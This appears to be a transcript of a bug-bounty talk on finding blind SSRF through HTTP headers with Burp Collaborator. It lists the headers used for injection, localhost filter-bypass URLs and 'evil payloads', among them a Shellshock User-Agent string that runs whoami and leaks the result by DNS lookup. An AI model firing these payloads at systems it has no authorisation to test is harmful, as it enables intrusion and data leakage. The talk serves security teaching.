Share
Embed
Hunting Headers for SSRF
People who know/love SSRF they will get to know.... <3
Aditya Shende
February 27, 2021
Transcript
16 slides
-
Hackers gonna hack... ADITYA SHENDE : BOUNTY HUNTER HUNTING HEADERS
FOR SSRF HUNTING HEADERS FOR SSRF HUNTING HEADERS FOR SSRF HUNTING HEADERS FOR SSRF -
SSRF SSRF SSRF SSRF A BASIC Server-side request forgery (also
known as SSRF) is a web security vulnerability that allows an attacker to cause HTTP requests from the server-side application to an arbitrary domain of the attacker's choice. -
What Blind ? When an application can be induced to
send a back-end HTTP request to a supplied URL, blind SSRF vulnerabilities occur, but the response from the back-end request is not returned in the front-end response of the application. BLIND SSRF OVER HEADERS -
What technique >>> OAST: OUT-OF-BAND APPLICATION SECURITY TESTING BURPSUITE >>
TARGET >> HTTP,SMTP,DNS. IF A VULNERABILITY IS BLIND, THEN IT SENDS BACK NO USEFUL RESPONSE TO US WHEN WE SEND A TEST ATTACK - EVEN IF THAT ATTACK IS SUCCESSFUL -
BURP COLLABORATOR BURP COLLABORATOR IS A NETWORK SERVICE USED BY
BURP SUITE TO HELP IDENTIFY MANY VARIETIES OF VULNERABILITIES. Everywhere !!! When using Burp Collaborator, Burp sends payloads to the audited application that are intended to trigger Collaborator server encounters when certain bugs or behaviors occur. -
USE & WORKFLOW By inserting non-invasive headers designed to unveil
backend systems by forcing pingbacks to Burp Collaborator, this extension improves your in-scope proxy traffic. Simply install it and browse the goal website to use it. Collaborator Everywhere -
Automatic bruhh... Headers Referer: True-Client-IP: X-Wap-Profile: X-Client-IP: CF-Connecting_IP: X-Forwarded-For: Client-IP:
X-Originating-IP: All headers with burp-collaborator link -
https://burplink.net:22/test.php 22 : NOTHING https://burplink.net:80/test.php 80 : HTTP & DNS
https://burplink.net:443/test.php 443 : DNS https://burplink.net:3306/test.php 3306 : NOTHIG -
HEADERS FOR HACKERS Evil payloads over headers: X-Forwarded-For: id.burplink.net:8080/aditya.php X-Forwarded-For:
http://user:pass@hostname/ User-Agent:() { :; }; /usr/bin/nslookup $(whoami).id.burpcollaborator.net -
Item 1 Item 2 Item 3 Item 4 Item 5
40 30 20 10 0 Response status code: Online internal asset:port responds with 200 OK vs offline internal asset:port 500 Internal Server Error Response contents: The response size in bytes is smaller or bigger depending on whether or not the URL you are trying to request is reachable. Response timing: The response times are slower or faster depending on whether or not the URL you are trying to request is reachable. -
ALPHANUMERIC http:// ⓔⓧⓐⓜⓟⓛⓔ. ⓒⓞⓜ = example.com SHORT-HAND IP http://0/Admin/ http://127.1/AdMiN
http://127.0.1/aDMIn LOCALHOST WITH A DOMAIN REDIRECTION http://spoofed.burpcollaborator.net http://localtest.me 127.0.0.1.nip.io STORY OF [::] http://[::]:22/ SSH -
Add collaborator link everywhere , You may get HTTP NOT
EVERY HTTP IS SSRF ADITYA SHENDE